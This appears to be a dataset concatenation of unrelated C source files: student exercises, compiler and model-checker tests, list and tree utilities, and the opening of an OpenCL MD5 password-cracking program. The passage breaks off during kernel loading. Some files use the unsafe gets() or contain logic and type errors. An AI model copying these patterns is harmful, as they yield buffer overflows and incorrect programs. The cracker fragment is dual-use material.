printf("Enter name of file to move\n");
gets(source_file);
if (source_file=='\n'){
printf("please enter such a valid name");
}
while(access(source_file, 0) == -1 )//in case if it does not exist
{
printf("\n file does not exist, please enter file name again:\n");
gets(source_file);
break;
}
printf("Enter name of target file to move by giving path if you wish\n");
gets(target_file);
if (target_file=='\n'){
printf("please enter such a valid name");
}
while(access(target_file, 0) != -1)//If the file exists in the destination directory
{
printf("\n file name already exists, please enter file name again\n");
gets(target_file);
break;
}
source = fopen(source_file, "r");
if (access(source, 0)==-1){
target = fopen(target_file, "w");
while( ( charr = fgetc(source) ) != EOF )
fputc(charr, target);
printf("File moved successfully.\n");
fclose(target);
fclose(source);
del = remove(source_file);
}
}
int main(int argc, char *argv[])
{
if (argc == 2) {
for (int i = 1; i < argc; ++i) {
if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
help();
return;
}
}
puts("Unsupported argument. Please use -h or --help for usage.");
}
else if (argc < 2) {
move();
return;
}
else {
puts("Please give argument or for usage use -h or --help.");
}
return 0;
} |
the_stack_data/242331039.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(int argc, char **argv)
{
if (argc != 4)
{
printf("usage: %s file recordNum type\n\ttype:\n\t\tcount\n\t\trank\n", argv[0]);
return -1;
}
char *fileName = argv[1];
int recNum = atoi(argv[2]);
char *type = argv[3];
srand(time(0));
if (strcmp(type, "count") == 0)
{
FILE *fp = fopen(fileName, "w+");
int i;
for (i = 0; i < recNum; i++)
fprintf(fp, "http://www.abcdefg.com/%d.html\t%d.%d.%d.%d\t\%d\n", rand()%1024, rand()%256, rand()%256, rand()%256,rand()%256, rand()%1000);
fclose(fp);
}
else if (strcmp(type, "rank") == 0)
{
FILE *fp = fopen(fileName, "w+");
int i;
for (i = 0; i < recNum; i++)
fprintf(fp, "http://www.abcdefg.com/%d.html\t%d\n", rand()%1024, rand());
fclose(fp);
}
else
{
printf("usage: %s file recordNum type\n", argv[0]);
return -1;
}
return 0;
}
|
the_stack_data/97013755.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: /* assert not proved */
__VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { /* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
__VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include "assert.h"
#include "pthread.h"
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void * P2(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p0_EAX;
int __unbuffered_p0_EAX = 0;
int __unbuffered_p2_EAX;
int __unbuffered_p2_EAX = 0;
_Bool __unbuffered_p2_EAX$flush_delayed;
int __unbuffered_p2_EAX$mem_tmp;
_Bool __unbuffered_p2_EAX$r_buff0_thd0;
_Bool __unbuffered_p2_EAX$r_buff0_thd1;
_Bool __unbuffered_p2_EAX$r_buff0_thd2;
_Bool __unbuffered_p2_EAX$r_buff0_thd3;
_Bool __unbuffered_p2_EAX$r_buff1_thd0;
_Bool __unbuffered_p2_EAX$r_buff1_thd1;
_Bool __unbuffered_p2_EAX$r_buff1_thd2;
_Bool __unbuffered_p2_EAX$r_buff1_thd3;
_Bool __unbuffered_p2_EAX$read_delayed;
int *__unbuffered_p2_EAX$read_delayed_var;
int __unbuffered_p2_EAX$w_buff0;
_Bool __unbuffered_p2_EAX$w_buff0_used;
int __unbuffered_p2_EAX$w_buff1;
_Bool __unbuffered_p2_EAX$w_buff1_used;
int __unbuffered_p2_EBX;
int __unbuffered_p2_EBX = 0;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
_Bool x$flush_delayed;
int x$mem_tmp;
_Bool x$r_buff0_thd0;
_Bool x$r_buff0_thd1;
_Bool x$r_buff0_thd2;
_Bool x$r_buff0_thd3;
_Bool x$r_buff1_thd0;
_Bool x$r_buff1_thd1;
_Bool x$r_buff1_thd2;
_Bool x$r_buff1_thd3;
_Bool x$read_delayed;
int *x$read_delayed_var;
int x$w_buff0;
_Bool x$w_buff0_used;
int x$w_buff1;
_Bool x$w_buff1_used;
int y;
int y = 0;
_Bool weak$$choice0;
_Bool weak$$choice1;
_Bool weak$$choice2;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
y = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
weak$$choice0 = nondet_0();
weak$$choice2 = nondet_0();
x$flush_delayed = weak$$choice2;
x$mem_tmp = x;
x = !x$w_buff0_used || !x$r_buff0_thd1 && !x$w_buff1_used || !x$r_buff0_thd1 && !x$r_buff1_thd1 ? x : (x$w_buff0_used && x$r_buff0_thd1 ? x$w_buff0 : x$w_buff1);
x$w_buff0 = weak$$choice2 ? x$w_buff0 : (!x$w_buff0_used || !x$r_buff0_thd1 && !x$w_buff1_used || !x$r_buff0_thd1 && !x$r_buff1_thd1 ? x$w_buff0 : (x$w_buff0_used && x$r_buff0_thd1 ? x$w_buff0 : x$w_buff0));
x$w_buff1 = weak$$choice2 ? x$w_buff1 : (!x$w_buff0_used || !x$r_buff0_thd1 && !x$w_buff1_used || !x$r_buff0_thd1 && !x$r_buff1_thd1 ? x$w_buff1 : (x$w_buff0_used && x$r_buff0_thd1 ? x$w_buff1 : x$w_buff1));
x$w_buff0_used = weak$$choice2 ? x$w_buff0_used : (!x$w_buff0_used || !x$r_buff0_thd1 && !x$w_buff1_used || !x$r_buff0_thd1 && !x$r_buff1_thd1 ? x$w_buff0_used : (x$w_buff0_used && x$r_buff0_thd1 ? FALSE : x$w_buff0_used));
x$w_buff1_used = weak$$choice2 ? x$w_buff1_used : (!x$w_buff0_used || !x$r_buff0_thd1 && !x$w_buff1_used || !x$r_buff0_thd1 && !x$r_buff1_thd1 ? x$w_buff1_used : (x$w_buff0_used && x$r_buff0_thd1 ? FALSE : FALSE));
x$r_buff0_thd1 = weak$$choice2 ? x$r_buff0_thd1 : (!x$w_buff0_used || !x$r_buff0_thd1 && !x$w_buff1_used || !x$r_buff0_thd1 && !x$r_buff1_thd1 ? x$r_buff0_thd1 : (x$w_buff0_used && x$r_buff0_thd1 ? FALSE : x$r_buff0_thd1));
x$r_buff1_thd1 = weak$$choice2 ? x$r_buff1_thd1 : (!x$w_buff0_used || !x$r_buff0_thd1 && !x$w_buff1_used || !x$r_buff0_thd1 && !x$r_buff1_thd1 ? x$r_buff1_thd1 : (x$w_buff0_used && x$r_buff0_thd1 ? FALSE : FALSE));
__unbuffered_p0_EAX = x;
x = x$flush_delayed ? x$mem_tmp : x;
x$flush_delayed = FALSE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd2 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd2 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd2 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd2 || x$w_buff1_used && x$r_buff1_thd2 ? FALSE : x$w_buff1_used;
x$r_buff0_thd2 = x$w_buff0_used && x$r_buff0_thd2 ? FALSE : x$r_buff0_thd2;
x$r_buff1_thd2 = x$w_buff0_used && x$r_buff0_thd2 || x$w_buff1_used && x$r_buff1_thd2 ? FALSE : x$r_buff1_thd2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void * P2(void *arg)
{
__VERIFIER_atomic_begin();
weak$$choice0 = nondet_0();
weak$$choice2 = nondet_0();
x$flush_delayed = weak$$choice2;
x$mem_tmp = x;
x = !x$w_buff0_used || !x$r_buff0_thd3 && !x$w_buff1_used || !x$r_buff0_thd3 && !x$r_buff1_thd3 ? x : (x$w_buff0_used && x$r_buff0_thd3 ? x$w_buff0 : x$w_buff1);
x$w_buff0 = weak$$choice2 ? x$w_buff0 : (!x$w_buff0_used || !x$r_buff0_thd3 && !x$w_buff1_used || !x$r_buff0_thd3 && !x$r_buff1_thd3 ? x$w_buff0 : (x$w_buff0_used && x$r_buff0_thd3 ? x$w_buff0 : x$w_buff0));
x$w_buff1 = weak$$choice2 ? x$w_buff1 : (!x$w_buff0_used || !x$r_buff0_thd3 && !x$w_buff1_used || !x$r_buff0_thd3 && !x$r_buff1_thd3 ? x$w_buff1 : (x$w_buff0_used && x$r_buff0_thd3 ? x$w_buff1 : x$w_buff1));
x$w_buff0_used = weak$$choice2 ? x$w_buff0_used : (!x$w_buff0_used || !x$r_buff0_thd3 && !x$w_buff1_used || !x$r_buff0_thd3 && !x$r_buff1_thd3 ? x$w_buff0_used : (x$w_buff0_used && x$r_buff0_thd3 ? FALSE : x$w_buff0_used));
x$w_buff1_used = weak$$choice2 ? x$w_buff1_used : (!x$w_buff0_used || !x$r_buff0_thd3 && !x$w_buff1_used || !x$r_buff0_thd3 && !x$r_buff1_thd3 ? x$w_buff1_used : (x$w_buff0_used && x$r_buff0_thd3 ? FALSE : FALSE));
x$r_buff0_thd3 = weak$$choice2 ? x$r_buff0_thd3 : (!x$w_buff0_used || !x$r_buff0_thd3 && !x$w_buff1_used || !x$r_buff0_thd3 && !x$r_buff1_thd3 ? x$r_buff0_thd3 : (x$w_buff0_used && x$r_buff0_thd3 ? FALSE : x$r_buff0_thd3));
x$r_buff1_thd3 = weak$$choice2 ? x$r_buff1_thd3 : (!x$w_buff0_used || !x$r_buff0_thd3 && !x$w_buff1_used || !x$r_buff0_thd3 && !x$r_buff1_thd3 ? x$r_buff1_thd3 : (x$w_buff0_used && x$r_buff0_thd3 ? FALSE : FALSE));
__unbuffered_p2_EAX$read_delayed = TRUE;
__unbuffered_p2_EAX$read_delayed_var = &x;
__unbuffered_p2_EAX = x;
x = x$flush_delayed ? x$mem_tmp : x;
x$flush_delayed = FALSE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p2_EBX = y;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd3 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd3 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd3 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd3 || x$w_buff1_used && x$r_buff1_thd3 ? FALSE : x$w_buff1_used;
x$r_buff0_thd3 = x$w_buff0_used && x$r_buff0_thd3 ? FALSE : x$r_buff0_thd3;
x$r_buff1_thd3 = x$w_buff0_used && x$r_buff0_thd3 || x$w_buff1_used && x$r_buff1_thd3 ? FALSE : x$r_buff1_thd3;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
pthread_create(NULL, NULL, P2, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 3;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd0 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd0 || x$w_buff1_used && x$r_buff1_thd0 ? FALSE : x$w_buff1_used;
x$r_buff0_thd0 = x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$r_buff0_thd0;
x$r_buff1_thd0 = x$w_buff0_used && x$r_buff0_thd0 || x$w_buff1_used && x$r_buff1_thd0 ? FALSE : x$r_buff1_thd0;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
weak$$choice1 = nondet_0();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
__unbuffered_p2_EAX = __unbuffered_p2_EAX$read_delayed ? (weak$$choice1 ? *__unbuffered_p2_EAX$read_delayed_var : __unbuffered_p2_EAX) : __unbuffered_p2_EAX;
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
main$tmp_guard1 = !(__unbuffered_p0_EAX == 0 && __unbuffered_p2_EAX == 1 && __unbuffered_p2_EBX == 0);
__VERIFIER_atomic_end();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
__VERIFIER_assert(main$tmp_guard1);
/* reachable */
return 0;
}
|
the_stack_data/36418.c | # define reg register
/*
* This routine fills in "def" with the long name of the terminal.
*
* 1/26/81 (Berkeley) @(#)longname.c 1.1
*/
char *
longname(bp, def)
reg char *bp, *def; {
reg char *cp;
while (*bp && *bp != ':' && *bp != '|')
bp++;
if (*bp == '|') {
bp++;
cp = bp;
while (*cp && *cp != ':' && *cp != '|')
cp++;
*cp = 0;
return bp;
}
return def;
}
|
the_stack_data/95449365.c | /*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2016 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
/*
* This test verifies that Pin can emulate a weird signal.
* The application sends itself an asynchronous signal, but
* uses a signal number that is normally a synchronous signal.
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
static void Handle(int, siginfo_t *, void *);
int main()
{
struct sigaction act;
act.sa_sigaction = Handle;
act.sa_flags = SA_SIGINFO;
sigemptyset(&act.sa_mask);
if (sigaction(SIGFPE, &act, 0) != 0)
{
printf("Unable to set up FPE handler\n");
return 1;
}
kill(getpid(), SIGFPE);
/* should not return */
printf("Should not return from signal handler\n");
return 1;
}
static void Handle(int sig, siginfo_t *info, void *ctxt)
{
if (sig != SIGFPE)
{
printf("Got unexpected signal %d\n", sig);
exit(1);
}
if (info->si_code != 0)
{
printf("Expected si_code to be zero, but got %d\n", (int)info->si_code);
exit(1);
}
exit(0);
}
|
the_stack_data/1178472.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#define BST_MAX_LEVEL 800
#define container_of(ptr, type, member) \
((type *)((char *)(ptr) - (size_t)&(((type *)0)->member)))
#define list_entry(ptr, type, member) \
container_of(ptr, type, member)
#define list_first_entry(ptr, type, field) list_entry((ptr)->next, type, field)
#define list_last_entry(ptr, type, field) list_entry((ptr)->prev, type, field)
#define list_for_each(p, head) \
for (p = (head)->next; p != (head); p = p->next)
#define list_for_each_reverse(p, head) \
for (p = (head)->prev; p != (head); p = p->prev)
#define list_for_each_safe(p, n, head) \
for (p = (head)->next, n = p->next; p != (head); p = n, n = p->next)
#define list_for_each_safe_reverse(p, n, head) \
for (p = (head)->prev, n = p->prev; p != (head); p = n, n = p->prev)
struct Object {
int *nums;
int len;
};
struct TreeNode {
int val;
struct TreeNode *left;
struct TreeNode *right;
};
struct list_head {
struct list_head *next, *prev;
};
struct bfs_node {
struct TreeNode *node;
struct list_head link;
};
struct TreeNode *make_tree(int *nums, int pos, int size)
{
if (nums[pos] == INT_MIN) {
return NULL;
}
struct TreeNode *node = malloc(sizeof(*node));
node->val = nums[pos];
int left = 2 * pos + 1;
int right = 2 * pos + 2;
if (left >= size) {
node->left = NULL;
} else {
node->left = make_tree(nums, left, size);
}
if (right >= size) {
node->right = NULL;
} else {
node->right = make_tree(nums, right, size);
}
return node;
}
void free_tree(struct TreeNode *node)
{
if (node == NULL) {
return;
}
if (node->left != NULL) {
free_tree(node->left);
}
if (node->right != NULL) {
free_tree(node->right);
}
free(node);
}
void print_tree(struct TreeNode *node)
{
printf("%d ", node->val);
if (node->left != NULL) {
print_tree(node->left);
} else {
printf("# ");
}
if (node->right != NULL) {
print_tree(node->right);
} else {
printf("# ");
}
}
void INIT_LIST_HEAD(struct list_head *list)
{
list->next = list->prev = list;
}
int list_empty(const struct list_head *head)
{
return head->next == head;
}
void __list_add(struct list_head *new, struct list_head *prev, struct list_head *next)
{
next->prev = new;
new->next = next;
new->prev = prev;
prev->next = new;
}
void list_add(struct list_head *_new, struct list_head *head)
{
__list_add(_new, head, head->next);
}
void list_add_tail(struct list_head *_new, struct list_head *head)
{
__list_add(_new, head->prev, head);
}
void __list_del(struct list_head *entry)
{
entry->next->prev = entry->prev;
entry->prev->next = entry->next;
}
void list_del(struct list_head *entry)
{
__list_del(entry);
entry->next = entry->prev = NULL;
}
struct bfs_node *node_new(struct list_head *free_list, struct TreeNode *node)
{
struct bfs_node *new;
if (list_empty(free_list)) {
new = malloc(sizeof(*new));
} else {
new = list_first_entry(free_list, struct bfs_node, link);
list_del(&new->link);
}
new->node = node;
return new;
}
void queue(struct list_head *parents, struct list_head *children, int reverse,
struct list_head *free_list, int **results, int *col_sizes, int level)
{
struct list_head *p, *n;
struct bfs_node *new, *parent;
list_for_each(p, parents) {
parent = list_entry(p, struct bfs_node, link);
if (parent->node->left != NULL) {
new = node_new(free_list, parent->node->left);
list_add_tail(&new->link, children);
}
if (parent->node->right != NULL) {
new = node_new(free_list, parent->node->right);
list_add_tail(&new->link, children);
}
col_sizes[level]++;
}
int i = 0;
results[level] = malloc(col_sizes[level] * sizeof(int));
if (reverse) {
list_for_each_safe_reverse(p, n, parents) {
parent = list_entry(p, struct bfs_node, link);
results[level][i++] = parent->node->val;
list_del(p);
list_add(p, free_list);
}
} else {
list_for_each_safe(p, n, parents) {
parent = list_entry(p, struct bfs_node, link);
results[level][i++] = parent->node->val;
list_del(p);
list_add(p, free_list);
}
}
}
int ** zigzag_level_order(struct TreeNode *root, int **column_sizes, int *return_size)
{
if (root == NULL) {
*return_size = 0;
return NULL;
}
struct list_head free_list;
struct list_head q0;
struct list_head q1;
INIT_LIST_HEAD(&free_list);
INIT_LIST_HEAD(&q0);
INIT_LIST_HEAD(&q1);
int **results = malloc(BST_MAX_LEVEL * sizeof(int *));
*column_sizes = malloc(BST_MAX_LEVEL * sizeof(int));
memset(*column_sizes, 0, BST_MAX_LEVEL * sizeof(int));
int level = 0;
struct bfs_node *new = node_new(&free_list, root);
list_add_tail(&new->link, &q0);
while (!list_empty(&q0) || !list_empty(&q1)) {
if (level & 0x1) {
queue(&q1, &q0, 1, &free_list, results, *column_sizes, level);
} else {
queue(&q0, &q1, 0, &free_list, results, *column_sizes, level);
}
level++;
}
*return_size = level;
return results;
}
int main(int argc, char **argv)
{
int nums1[] = { 3, 9, 20, INT_MIN, INT_MIN, 15, 7 }, len1 = sizeof(nums1) / sizeof(int);
struct Object inputs[] = {
{ .nums = nums1, .len = len1 },
};
int i, j, k, *col_sizes, len = sizeof(inputs) / sizeof(struct Object);
for (i = 0; i < len; i++) {
int *nums = inputs[i].nums;
int size = inputs[i].len;
struct TreeNode *root = make_tree(nums, 0, size);
printf("\n Input: ");
print_tree(root);
printf("\n Output:\n");
int count;
int **lists = zigzag_level_order(root, &col_sizes, &count);
for (j = 0; j < count; j++) {
for (k = 0; k < col_sizes[j]; k++) {
printf("%d ", lists[j][k]);
}
printf("\n");
}
free_tree(root);
}
return EXIT_SUCCESS;
}
|
the_stack_data/25138646.c | #include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main()
{
int fd = open( "test", O_CREAT | O_WRONLY, 0700 );
if ( fd < 0 )
{
perror("open");
return 1;
}
int fd2 = fcntl( fd, F_DUPFD );
write( fd2, "A", 1 );
// does this generate a CLOSE event of the explicit close?
return 0;
}
|
the_stack_data/173578087.c | #include<stdio.h>
struct Rectangle
{
int length;
int breadth;
};
int main()
{
struct Rectangle r={10,5};
printf("area of rectangle is %d",r.length*r.breadth);
}
|
the_stack_data/66850.c | #include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#pragma warning (disable : 4996)
#define SIZE 10
int distance(int SP[][SIZE], int destination) //Find distance from [0][0] to [row][col]
{
int one_before = 0;
for (one_before = 0; one_before < SIZE; ++one_before)
{
if (SP[one_before][destination] != 0)
break;
}
if (one_before == 0)
return 0;
return distance(SP, one_before) + SP[one_before][destination];
}
int main()
{
int cost[SIZE][SIZE] = {
{0, 6, 3, 0, 9, 0, 0, 0, 0, 0},
{6, 0, 4, 2, 0, 0, 0, 9, 0, 0},
{3, 4, 0, 2, 9, 9, 0, 0, 0, 0},
{0, 2, 2, 0, 0, 8, 0, 9, 0, 0},
{9, 0, 9, 0, 0, 8, 0, 0, 0, 18},
{0, 0, 9, 8, 8, 0, 9, 7, 0, 10},
{0, 0, 0, 0, 0, 9, 0, 5, 1, 3},
{0, 9, 0, 9, 0, 7, 5, 0, 4, 0},
{0, 0, 0, 0, 0, 0, 1, 4, 0, 4},
{0, 0, 0, 0, 18, 10, 3, 0, 4, 0}
};
bool visited[SIZE] = { false, };
visited[0] = true;
int Shortest_Path[SIZE][SIZE] = { { 0, }, };
int min = 999;
int row = 0;
int col = 0;
int min_col = 0;
for (col = 0; col < SIZE; ++col) //Initialization
{
if (cost[0][col] != 0 && cost[0][col] < min)
{
min = cost[0][col];
min_col = col;
}
}
visited[min_col] = true;
Shortest_Path[row][min_col] = min;
Shortest_Path[min_col][row] = min;
for (int i = 2; i < SIZE; ++i)
{
int min = 999;
int min_row = 0;
int min_col = 0;
for (row = 0; row < SIZE; ++row) {
if (visited[row]) {
for (col = 0; col < SIZE; ++col) {
if (!visited[col] && cost[row][col] != 0) {
int dist = distance(Shortest_Path, row) + cost[row][col];
if (dist < min)
{
min = cost[row][col];
min_row = row;
min_col = col;
}
}
}
}
}
visited[min_col] = true;
Shortest_Path[min_row][min_col] = min;
Shortest_Path[min_col][min_row] = min;
}
for (int i = 0; i < SIZE; ++i)
{
for (int j = 0; j < SIZE; ++j)
printf("%2d, ", Shortest_Path[i][j]);
printf("\n");
}
return 0;
}
|
the_stack_data/168893950.c | #include<stdio.h>
#include<stdlib.h>
int main(){
float area,raio;
do{
printf("Digite um valor para o raio: ");
scanf("%f",&raio);
}while(raio <0);
area = 3.14 * raio * raio;
printf("Area = %f \n\n", area);
return 0;
}
|
the_stack_data/1137976.c | /**/
//**/
#include <stdio.h>
int main() {
double a, b, c, d, m, n, p;
printf("Please enter 4 numbers separated by spaces > ");
scanf("%lf""%lf""%lf""%lf", &a, &b, &c, &d);
if (a > b)
m=b;
else if (a < b)
m=a;
if (m > c)
n=c;
else if (m < c)
n=m;
if (n > d)
p=d;
else if (n < d)
p=n;
printf("%.0f is the smallest\n", p);
return(0);
}
|
the_stack_data/29554.c | // RUN: %clang_cc1 -emit-llvm < %s | grep "\$0,\$1"
void f(void) {
int d1, d2;
asm("%0,%1": "=r" (d1) : "r" (d2));
}
|
the_stack_data/145454240.c | unsigned long __stack_chk_guard = 0x595e9fbd94fda766;
|
the_stack_data/190767108.c | /*
4.1. Write a menu driven program (array based) to
- insert items
- delete items
- reverse the elements using recursion
- sort the elements using recursion
- rearrange the elements by interleaving the first half of the queue with the
second half of the queue.
The program should handle erroneous condition.*/
#include<stdlib.h>
#include<stdio.h>
#include<stdbool.h>
int front = -1;
int rear = -1;
int size = 100;
int queue[100];
bool isEmpty()
{
return front==-1;
}
void insert(int item)
{
if (rear == size-1)
{
printf("memory full\n");
return;
}
if (front ==-1 && rear == -1)
{
front=rear=0;
queue[rear] = item;
return;
}
queue[++rear] = item;
}
void delete()
{
if (front==-1)
{
printf(" nothing to delete in memory ::::memory empty\n");
return;
}
if (front==rear)
{
front = -1;
rear = -1;
return;
}
front += 1;
}
void reverse(int top,int back)
{
if (isEmpty())
{
printf("no element in memory\n");
return;
}
if(top<back)
{
//swaping last and front element
int temp ;
temp=queue[top];
queue[top] = queue[back];
queue[back] = temp;
reverse(top+1,back-1);
}
}
void display()
{
if (isEmpty())
{
printf("no element in memory\n");
return;
}
int i;
for ( i = front; i <= rear; ++i)
{
printf("%d\n",queue[i]);
}
}
void rearrange(int top ,int back)
{
if (isEmpty())
{
printf("no element in memory\n");
return;
}
int mid = (back+top+1)/2;
printf("%d %d %d\n",top,back,mid );
if((back-top+1)%2 !=0)
{
printf("elements cannot be rearrange by interleaving since elements in memory is odd\n");
return;
}
int new[100],i=0,j;
int flag = mid;
while(top<mid && flag<back)
{
new[i++] = queue[top++];
new[i++] = queue[flag++];
}
while(top<mid)
{
new[i++] = queue[top++];
}
int k =0;
i=0;
for (j = front; j <= rear-1; ++j)
{
queue[j] = new[i++];
}
}
void Merge(int *A,int *L,int leftCount,int *R,int rightCount) {
int i,j,k;
// i - to mark the index of left aubarray (L)
// j - to mark the index of right sub-raay (R)
// k - to mark the index of merged subarray (A)
i = 0; j = 0; k =0;
while(i<leftCount && j< rightCount) {
if(L[i] < R[j]) A[k++] = L[i++];
else A[k++] = R[j++];
}
while(i < leftCount) A[k++] = L[i++];
while(j < rightCount) A[k++] = R[j++];
}
void MergeSort(int *A,int n) {
int mid,i, *L, *R;
if(n < 2) return; // base condition. If the array has less than two element, do nothing.
mid = n/2; // find the mid index.
// create left and right subarrays
// mid elements (from index 0 till mid-1) should be part of left sub-array
// and (n-mid) elements (from mid to n-1) will be part of right sub-array
L = (int*)malloc(mid*sizeof(int));
R = (int*)malloc((n- mid)*sizeof(int));
for(i = 0;i<mid;i++) L[i] = A[i]; // creating left subarray
for(i = mid;i<n;i++) R[i-mid] = A[i]; // creating right subarray
MergeSort(L,mid); // sorting the left subarray
MergeSort(R,n-mid); // sorting the right subarray
Merge(A,L,mid,R,n-mid); // Merging L and R into A as sorted list.
free(L);
free(R);
}
int main()
{
printf("\nenter 1 --- to insert \n2 --- to delete\n 3 --- to reverse \n 4 ----- to display\n5 to rearrange the elements by interleaving\n6 to --- sort");
int ch;
scanf("%d",&ch);
while(ch!=-1)
{
switch(ch)
{
case 1:
printf("enter elements to be inserted\n");
int item;
scanf("%d",&item);
insert(item);
break;
case 2:
delete();
break;
case 3:
reverse(front,rear);
break;
case 4:
display();
break;
case 5:
rearrange(front,rear);
break;
case 6:
if (isEmpty())
{
printf("no element in memory\n");
exit(0);
}
MergeSort(queue+front,rear-front+1);
printf("%d\n",rear-front+1);
break;
default:
printf("wrong choice\n");
}
printf("\nenter 1 --- to insert \n2 --- to delete\n 3 --- to reverse \n 4 ----- to display\n 5 to rearrange the elements by interleaving\n6 to --- sort");
//int ch;
scanf("%d",&ch);
}
return 0;
}
|
the_stack_data/7950790.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
#include "md5.h"
#ifdef __APPLE__
#include <OpenCL/opencl.h>
#else
#include <CL/cl.h>
#endif
#define MEM_SIZE (128)
#define MAX_SOURCE_SIZE (0x100000)
#define LENGTH 1
cl_device_id device_id = NULL;
cl_context context = NULL;
cl_command_queue command_queue = NULL;
cl_mem memobj = NULL;
cl_program program = NULL;
cl_kernel kernel = NULL;
cl_platform_id *platforms = NULL;
cl_uint ret_num_devices;
cl_uint ret_num_platforms;
cl_int ret;
char *source_str;
size_t source_size;
cl_device_id *devices;
void red () {
printf("\033[1;31m");
}
void yellow() {
printf("\033[1;33m");
}
void cyan() {
printf("\033[0;36m");
}
void white() {
printf("\033[0;37m");
}
void reset () {
printf("\033[0m");
}
void GPU()
{
char string[MEM_SIZE];
FILE *fp;
char fileName[] = "./pwdCrack.cl";
fp = fopen(fileName, "r");
if (!fp) {
fprintf(stderr, "Failed to load kernel.\n");
